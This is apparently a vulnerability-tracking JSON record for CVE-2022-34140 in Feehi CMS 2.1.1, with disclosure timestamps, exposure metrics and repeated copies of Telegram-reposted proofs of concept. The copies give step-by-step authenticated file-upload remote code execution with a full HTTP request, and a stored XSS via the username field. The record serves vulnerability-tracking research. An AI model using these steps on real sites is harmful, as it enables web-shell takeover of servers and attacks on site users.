{"metadata": {"vulnerability": "CVE-2022-34140", "count": 19, "kinds": {"milestone": 4, "sighting": 4, "kev": 0, "other": 11}}, "data": [{"timestamp": "2022-06-20T00:00:00Z", "date_only": false, "value": "2022-06-20T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2022-34140", "field": "cveMetadata.dateReserved"}, {"timestamp": "2022-07-27T23:44:01Z", "date_only": false, "value": "2022-07-27T23:44:01.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-34140", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-07-28T00:00:00Z", "date_only": true, "value": "2022-07-28", "kind": "other", "label": "Pubdate", "source": "gsd \u00b7 GSD-2022-34140", "record": "GSD-2022-34140", "field": "namespaces.gitlab.com.advisories.0.pubdate", "linked_record": true}, {"timestamp": "2022-07-28T00:15:00Z", "date_only": false, "value": "2022-07-28T00:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-25Q6-M425-9FQR", "record": "GHSA-25Q6-M425-9FQR", "field": "database_specific.nvd_published_at", "linked_record": true}, {"timestamp": "2022-07-28T00:15:00Z", "date_only": false, "value": "2022-07-28T00:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2022-34140", "record": "GSD-2022-34140", "field": "namespaces.nvd.nist.gov.publishedDate", "linked_record": true}, {"timestamp": "2022-07-28T00:15:08.683Z", "date_only": false, "value": "2022-07-28T00:15:08.683", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-34140", "record": "FKIE_CVE-2022-34140", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2022-07-29T00:00:47Z", "date_only": false, "value": "2022-07-29T00:00:47Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-25Q6-M425-9FQR", "record": "GHSA-25Q6-M425-9FQR", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2022-09-23T15:06:16Z", "date_only": false, "value": "2022-09-23T15:06:16.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / mitre", "record": "CVE-2022-34140", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2022-10-26T00:00:00Z", "date_only": true, "value": "2022-10-26", "kind": "other", "label": "Date", "source": "gsd \u00b7 GSD-2022-34140", "record": "GSD-2022-34140", "field": "namespaces.gitlab.com.advisories.0.date", "linked_record": true}, {"timestamp": "2022-10-26T02:22:00Z", "date_only": false, "value": "2022-10-26T02:22Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2022-34140", "record": "GSD-2022-34140", "field": "namespaces.nvd.nist.gov.lastModifiedDate", "linked_record": true}, {"timestamp": "2023-07-07T19:02:06Z", "date_only": false, "value": "2023-07-07T19:02:06Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-25Q6-M425-9FQR", "record": "GHSA-25Q6-M425-9FQR", "field": "modified", "linked_record": true}, {"timestamp": "2023-12-13T01:19:19.343Z", "date_only": false, "value": "2023-12-13T01:19:19.343255Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2022-34140", "record": "GSD-2022-34140", "field": "gsd.osvSchema.modified", "linked_record": true}, {"timestamp": "2024-08-03T08:16:17.110Z", "date_only": false, "value": "2024-08-03T08:16:17.110Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2022-34140", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-08-03T08:16:17.110Z", "date_only": false, "value": "2024-08-03T08:16:17.110Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2022-34140", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-06-17T04:49:46.480Z", "date_only": false, "value": "2026-06-17T04:49:46.480", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-34140", "record": "FKIE_CVE-2022-34140", "field": "lastModified", "linked_record": true}, {"timestamp": "2026-09-01T20:01:22.304Z", "date_only": false, "value": "2026-09-01T20:01:22.304470Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/70331", "record": "CVE-2022-34140", "field": "creation_timestamp", "uuid": "e8d7be99-97ff-4f80-a26b-f90e1e4827ec", "content": "Exploit Collector\nFeehi CMS 2.1.1 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png \nFeehi CMS version 2.1.1 suffers from an authenticated remote code execution vulnerability.\n\nSHA-256 | 983f5ef29aec5a308538a5a0f342863532963a034a2146d2f5d3fe9bcb54fe54\n\nDownload\n# Exploit Title: Feehi CMS 2.1.1 - Remote Code Execution (RCE) (Authenticated)\n# Date: 22-08-2022\n# Exploit Author: yuyudhn\n# Vendor Homepage: https://feehi.com/\n# Software Link: https://github.com/liufee/cms\n# Version: 2.1.1 (REQUIRED)\n# Tested on: Linux, Docker\n# CVE : CVE-2022-34140\n# Proof of Concept:\n1. Login using admin account at http://feehi-cms.local/admin\n2. Go to Ad Management menu. http://feehi-cms.local/admin/index.php?r=ad%2Findex\n3. Create new Ad. http://feehi-cms.local/admin/index.php?r=ad%2Fcreate\n4. Upload php script with jpg/png extension, and using Burp suite or any tamper data browser add ons, change back the extension to php.\n5. Shell location: http://feehi-cms.local/uploads/setting/ad/[some_random_id].php\n\n# Burp request example:\n\nPOST /admin/index.php?r=ad%2Fcreate HTTP/1.1\nHost: feehi-cms.local\nContent-Length: 1530\nCache-Control: max-age=0\nsec-ch-ua: \"Chromium\";v=\"103\", \".Not/A)Brand\";v=\"99\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"Linux\"\nUpgrade-Insecure-Requests: 1\nOrigin: http://feehi-cms.local\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFBYJ8wfp9LBoF4xg\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: http://feehi-cms.local/admin/index.php?r=ad%2Fcreate\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: _csrf=807bee7110e873c728188300428b64dd155c422c1ebf36205f7ac2047eef0982a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22H9zz-zoIIPm7GEDiUGwm81TqyoAb5w0U%22%3B%7D; PHPSESSID=aa1dec72025b1524ae0156d527007e53; BACKEND_FEEHICMS=7f608f099358c22d4766811704a93375; _csrf_backend=3584dfe50d9fe91cfeb348e08be22c1621928f41425a41360b70c13e7c6bd2daa%3A2%3A%7Bi%3A0%3Bs%3A13%3A%22_csrf_backend%22%3Bi%3A1%3Bs%3A32%3A%22jQjzwf12TCyw_BLdszCqpz4zjphcQrmP%22%3B%7D\n\nConnection: close\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"_csrf_backend\"\nFvaDqWC07mTGiOuZr-Qzyc2NlSACNuyPM4w7qXxTgmZ8p-nTF9LfVpLLku7wpn-tvvfWUXJM2PVZ_FPKLSHvNg==\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[name]\"\nrce\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[tips]\"\nrce at Ad management\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[input_type]\"\n1\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[ad]\"\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[ad]\"; filename=\"asuka.php\"\n\nContent-Type: image/png\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/70331"}, {"timestamp": "2026-09-01T20:01:26.647Z", "date_only": false, "value": "2026-09-01T20:01:26.647772Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/64807", "record": "CVE-2022-34140", "field": "creation_timestamp", "uuid": "9554291e-d89d-4a24-aa3e-038dc0810a1e", "content": "Exploit Collector\nFeehi CMS 2.1.1 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png \nFeehi CMS version 2.1.1 suffers from a persistent cross site scripting vulnerability.\n\nSHA-256 | d361efcdb1b82d5a2eb48510dede7b1357037345197851159d3a6375b4284b66\n\nDownload\n# Exploit Title: Feehi CMS 2.1.1 - Stored Cross-Site Scripting (XSS)\n# Date: 02-08-2022\n# Exploit Author: Shivam Singh\n# Vendor Homepage: https://feehi.com/\n# Software Link: https://github.com/liufee/cms\n#Profile Link: https://www.linkedin.com/in/shivam-singh-3906b0203/\n# Version: 2.1.1 (REQUIRED)\n# Tested on: Linux, Windows, Docker\n# CVE : CVE-2022-34140\n# Proof of Concept:\n1-Sing-up https://localhost.cms.feehi/\n2-Inject The XSS Payload in Username:\n\"> fill all required fields and\nclick the SignUp button\n3-Login to Your Account, Go to any article page then XSS will trigger.\n\nSource:packetstormsecurity.com", "url": "https://t.me/hacking_Attack/64807"}, {"timestamp": "2026-09-05T09:00:06.314Z", "date_only": false, "value": "2026-09-05T09:00:06.314831Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/70331", "record": "CVE-2022-34140", "field": "creation_timestamp", "uuid": "6469013d-fc8d-4e93-a4a4-4da371026102", "content": "Exploit Collector\nFeehi CMS 2.1.1 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png \nFeehi CMS version 2.1.1 suffers from an authenticated remote code execution vulnerability.\n\nSHA-256 | 983f5ef29aec5a308538a5a0f342863532963a034a2146d2f5d3fe9bcb54fe54\n\nDownload\n# Exploit Title: Feehi CMS 2.1.1 - Remote Code Execution (RCE) (Authenticated)\n# Date: 22-08-2022\n# Exploit Author: yuyudhn\n# Vendor Homepage: https://feehi.com/\n# Software Link: https://github.com/liufee/cms\n# Version: 2.1.1 (REQUIRED)\n# Tested on: Linux, Docker\n# CVE : CVE-2022-34140\n# Proof of Concept:\n1. Login using admin account at http://feehi-cms.local/admin\n2. Go to Ad Management menu. http://feehi-cms.local/admin/index.php?r=ad%2Findex\n3. Create new Ad. http://feehi-cms.local/admin/index.php?r=ad%2Fcreate\n4. Upload php script with jpg/png extension, and using Burp suite or any tamper data browser add ons, change back the extension to php.\n5. Shell location: http://feehi-cms.local/uploads/setting/ad/[some_random_id].php\n\n# Burp request example:\n\nPOST /admin/index.php?r=ad%2Fcreate HTTP/1.1\nHost: feehi-cms.local\nContent-Length: 1530\nCache-Control: max-age=0\nsec-ch-ua: \"Chromium\";v=\"103\", \".Not/A)Brand\";v=\"99\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"Linux\"\nUpgrade-Insecure-Requests: 1\nOrigin: http://feehi-cms.local\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFBYJ8wfp9LBoF4xg\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: http://feehi-cms.local/admin/index.php?r=ad%2Fcreate\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: _csrf=807bee7110e873c728188300428b64dd155c422c1ebf36205f7ac2047eef0982a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22H9zz-zoIIPm7GEDiUGwm81TqyoAb5w0U%22%3B%7D; PHPSESSID=aa1dec72025b1524ae0156d527007e53; BACKEND_FEEHICMS=7f608f099358c22d4766811704a93375; _csrf_backend=3584dfe50d9fe91cfeb348e08be22c1621928f41425a41360b70c13e7c6bd2daa%3A2%3A%7Bi%3A0%3Bs%3A13%3A%22_csrf_backend%22%3Bi%3A1%3Bs%3A32%3A%22jQjzwf12TCyw_BLdszCqpz4zjphcQrmP%22%3B%7D\n\nConnection: close\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"_csrf_backend\"\nFvaDqWC07mTGiOuZr-Qzyc2NlSACNuyPM4w7qXxTgmZ8p-nTF9LfVpLLku7wpn-tvvfWUXJM2PVZ_FPKLSHvNg==\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[name]\"\nrce\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[tips]\"\nrce at Ad management\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[input_type]\"\n1\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[ad]\"\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[ad]\"; filename=\"asuka.php\"\n\nContent-Type: image/png\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/70331", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-05T12:00:05.567Z", "date_only": false, "value": "2026-09-05T12:00:05.567825Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/64807", "record": "CVE-2022-34140", "field": "creation_timestamp", "uuid": "78b12bb0-723a-475d-a612-dab3948c25bc", "content": "Exploit Collector\nFeehi CMS 2.1.1 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png \nFeehi CMS version 2.1.1 suffers from a persistent cross site scripting vulnerability.\n\nSHA-256 | d361efcdb1b82d5a2eb48510dede7b1357037345197851159d3a6375b4284b66\n\nDownload\n# Exploit Title: Feehi CMS 2.1.1 - Stored Cross-Site Scripting (XSS)\n# Date: 02-08-2022\n# Exploit Author: Shivam Singh\n# Vendor Homepage: https://feehi.com/\n# Software Link: https://github.com/liufee/cms\n#Profile Link: https://www.linkedin.com/in/shivam-singh-3906b0203/\n# Version: 2.1.1 (REQUIRED)\n# Tested on: Linux, Windows, Docker\n# CVE : CVE-2022-34140\n# Proof of Concept:\n1-Sing-up https://localhost.cms.feehi/\n2-Inject The XSS Payload in Username:\n\"> fill all required fields and\nclick the SignUp button\n3-Login to Your Account, Go to any article page then XSS will trigger.\n\nSource:packetstormsecurity.com", "url": "https://t.me/hacking_Attack/64807", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}], "metrics": {"as_of": "2026-11-06T20:36:30.607Z", "anchors": {"origin": {"timestamp": "2022-07-27T23:44:01Z", "date_only": false, "value": "2022-07-27T23:44:01.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-34140", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2022-07-27T23:44:01Z", "date_only": false, "value": "2022-07-27T23:44:01.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-34140", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": {"timestamp": "2026-09-05T09:00:06.314Z", "date_only": false, "value": "2026-09-05T09:00:06.314831Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/70331", "record": "CVE-2022-34140", "field": "creation_timestamp", "uuid": "6469013d-fc8d-4e93-a4a4-4da371026102", "content": "Exploit Collector\nFeehi CMS 2.1.1 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png \nFeehi CMS version 2.1.1 suffers from an authenticated remote code execution vulnerability.\n\nSHA-256 | 983f5ef29aec5a308538a5a0f342863532963a034a2146d2f5d3fe9bcb54fe54\n\nDownload\n# Exploit Title: Feehi CMS 2.1.1 - Remote Code Execution (RCE) (Authenticated)\n# Date: 22-08-2022\n# Exploit Author: yuyudhn\n# Vendor Homepage: https://feehi.com/\n# Software Link: https://github.com/liufee/cms\n# Version: 2.1.1 (REQUIRED)\n# Tested on: Linux, Docker\n# CVE : CVE-2022-34140\n# Proof of Concept:\n1. Login using admin account at http://feehi-cms.local/admin\n2. Go to Ad Management menu. http://feehi-cms.local/admin/index.php?r=ad%2Findex\n3. Create new Ad. http://feehi-cms.local/admin/index.php?r=ad%2Fcreate\n4. Upload php script with jpg/png extension, and using Burp suite or any tamper data browser add ons, change back the extension to php.\n5. Shell location: http://feehi-cms.local/uploads/setting/ad/[some_random_id].php\n\n# Burp request example:\n\nPOST /admin/index.php?r=ad%2Fcreate HTTP/1.1\nHost: feehi-cms.local\nContent-Length: 1530\nCache-Control: max-age=0\nsec-ch-ua: \"Chromium\";v=\"103\", \".Not/A)Brand\";v=\"99\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"Linux\"\nUpgrade-Insecure-Requests: 1\nOrigin: http://feehi-cms.local\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFBYJ8wfp9LBoF4xg\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: http://feehi-cms.local/admin/index.php?r=ad%2Fcreate\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: _csrf=807bee7110e873c728188300428b64dd155c422c1ebf36205f7ac2047eef0982a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22H9zz-zoIIPm7GEDiUGwm81TqyoAb5w0U%22%3B%7D; PHPSESSID=aa1dec72025b1524ae0156d527007e53; BACKEND_FEEHICMS=7f608f099358c22d4766811704a93375; _csrf_backend=3584dfe50d9fe91cfeb348e08be22c1621928f41425a41360b70c13e7c6bd2daa%3A2%3A%7Bi%3A0%3Bs%3A13%3A%22_csrf_backend%22%3Bi%3A1%3Bs%3A32%3A%22jQjzwf12TCyw_BLdszCqpz4zjphcQrmP%22%3B%7D\n\nConnection: close\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"_csrf_backend\"\nFvaDqWC07mTGiOuZr-Qzyc2NlSACNuyPM4w7qXxTgmZ8p-nTF9LfVpLLku7wpn-tvvfWUXJM2PVZ_FPKLSHvNg==\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[name]\"\nrce\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[tips]\"\nrce at Ad management\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[input_type]\"\n1\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[ad]\"\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[ad]\"; filename=\"asuka.php\"\n\nContent-Type: image/png\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/70331", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": null, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": true, "seconds": 129633365.314, "hours": 36009.26814277778, "days": 1500.3861726157406, "min_seconds": 129633365.314, "max_seconds": 129633365.314, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2022-07-27T23:44:01Z", "date_only": false, "value": "2022-07-27T23:44:01.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-34140", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-09-05T09:00:06.314Z", "date_only": false, "value": "2026-09-05T09:00:06.314831Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/70331", "record": "CVE-2022-34140", "field": "creation_timestamp", "uuid": "6469013d-fc8d-4e93-a4a4-4da371026102", "content": "Exploit Collector\nFeehi CMS 2.1.1 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png \nFeehi CMS version 2.1.1 suffers from an authenticated remote code execution vulnerability.\n\nSHA-256 | 983f5ef29aec5a308538a5a0f342863532963a034a2146d2f5d3fe9bcb54fe54\n\nDownload\n# Exploit Title: Feehi CMS 2.1.1 - Remote Code Execution (RCE) (Authenticated)\n# Date: 22-08-2022\n# Exploit Author: yuyudhn\n# Vendor Homepage: https://feehi.com/\n# Software Link: https://github.com/liufee/cms\n# Version: 2.1.1 (REQUIRED)\n# Tested on: Linux, Docker\n# CVE : CVE-2022-34140\n# Proof of Concept:\n1. Login using admin account at http://feehi-cms.local/admin\n2. Go to Ad Management menu. http://feehi-cms.local/admin/index.php?r=ad%2Findex\n3. Create new Ad. http://feehi-cms.local/admin/index.php?r=ad%2Fcreate\n4. Upload php script with jpg/png extension, and using Burp suite or any tamper data browser add ons, change back the extension to php.\n5. Shell location: http://feehi-cms.local/uploads/setting/ad/[some_random_id].php\n\n# Burp request example:\n\nPOST /admin/index.php?r=ad%2Fcreate HTTP/1.1\nHost: feehi-cms.local\nContent-Length: 1530\nCache-Control: max-age=0\nsec-ch-ua: \"Chromium\";v=\"103\", \".Not/A)Brand\";v=\"99\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"Linux\"\nUpgrade-Insecure-Requests: 1\nOrigin: http://feehi-cms.local\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFBYJ8wfp9LBoF4xg\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: http://feehi-cms.local/admin/index.php?r=ad%2Fcreate\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: _csrf=807bee7110e873c728188300428b64dd155c422c1ebf36205f7ac2047eef0982a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22H9zz-zoIIPm7GEDiUGwm81TqyoAb5w0U%22%3B%7D; PHPSESSID=aa1dec72025b1524ae0156d527007e53; BACKEND_FEEHICMS=7f608f099358c22d4766811704a93375; _csrf_backend=3584dfe50d9fe91cfeb348e08be22c1621928f41425a41360b70c13e7c6bd2daa%3A2%3A%7Bi%3A0%3Bs%3A13%3A%22_csrf_backend%22%3Bi%3A1%3Bs%3A32%3A%22jQjzwf12TCyw_BLdszCqpz4zjphcQrmP%22%3B%7D\n\nConnection: close\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"_csrf_backend\"\nFvaDqWC07mTGiOuZr-Qzyc2NlSACNuyPM4w7qXxTgmZ8p-nTF9LfVpLLku7wpn-tvvfWUXJM2PVZ_FPKLSHvNg==\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[name]\"\nrce\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[tips]\"\nrce at Ad management\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[input_type]\"\n1\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[ad]\"\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[ad]\"; filename=\"asuka.php\"\n\nContent-Type: image/png\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/70331", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 135031949.607752, "hours": 37508.87489104222, "days": 1562.869787126759, "min_seconds": 135031949.607752, "max_seconds": 135031949.607752, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2022-07-27T23:44:01Z", "date_only": false, "value": "2022-07-27T23:44:01.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-34140", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-11-06T20:36:30.607Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": true, "seconds": 5398584.293752, "hours": 1499.6067482644444, "days": 62.483614511018516, "min_seconds": 5398584.293752, "max_seconds": 5398584.293752, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-09-05T09:00:06.314Z", "date_only": false, "value": "2026-09-05T09:00:06.314831Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/70331", "record": "CVE-2022-34140", "field": "creation_timestamp", "uuid": "6469013d-fc8d-4e93-a4a4-4da371026102", "content": "Exploit Collector\nFeehi CMS 2.1.1 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png \nFeehi CMS version 2.1.1 suffers from an authenticated remote code execution vulnerability.\n\nSHA-256 | 983f5ef29aec5a308538a5a0f342863532963a034a2146d2f5d3fe9bcb54fe54\n\nDownload\n# Exploit Title: Feehi CMS 2.1.1 - Remote Code Execution (RCE) (Authenticated)\n# Date: 22-08-2022\n# Exploit Author: yuyudhn\n# Vendor Homepage: https://feehi.com/\n# Software Link: https://github.com/liufee/cms\n# Version: 2.1.1 (REQUIRED)\n# Tested on: Linux, Docker\n# CVE : CVE-2022-34140\n# Proof of Concept:\n1. Login using admin account at http://feehi-cms.local/admin\n2. Go to Ad Management menu. http://feehi-cms.local/admin/index.php?r=ad%2Findex\n3. Create new Ad. http://feehi-cms.local/admin/index.php?r=ad%2Fcreate\n4. Upload php script with jpg/png extension, and using Burp suite or any tamper data browser add ons, change back the extension to php.\n5. Shell location: http://feehi-cms.local/uploads/setting/ad/[some_random_id].php\n\n# Burp request example:\n\nPOST /admin/index.php?r=ad%2Fcreate HTTP/1.1\nHost: feehi-cms.local\nContent-Length: 1530\nCache-Control: max-age=0\nsec-ch-ua: \"Chromium\";v=\"103\", \".Not/A)Brand\";v=\"99\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"Linux\"\nUpgrade-Insecure-Requests: 1\nOrigin: http://feehi-cms.local\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFBYJ8wfp9LBoF4xg\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36\nAccept: 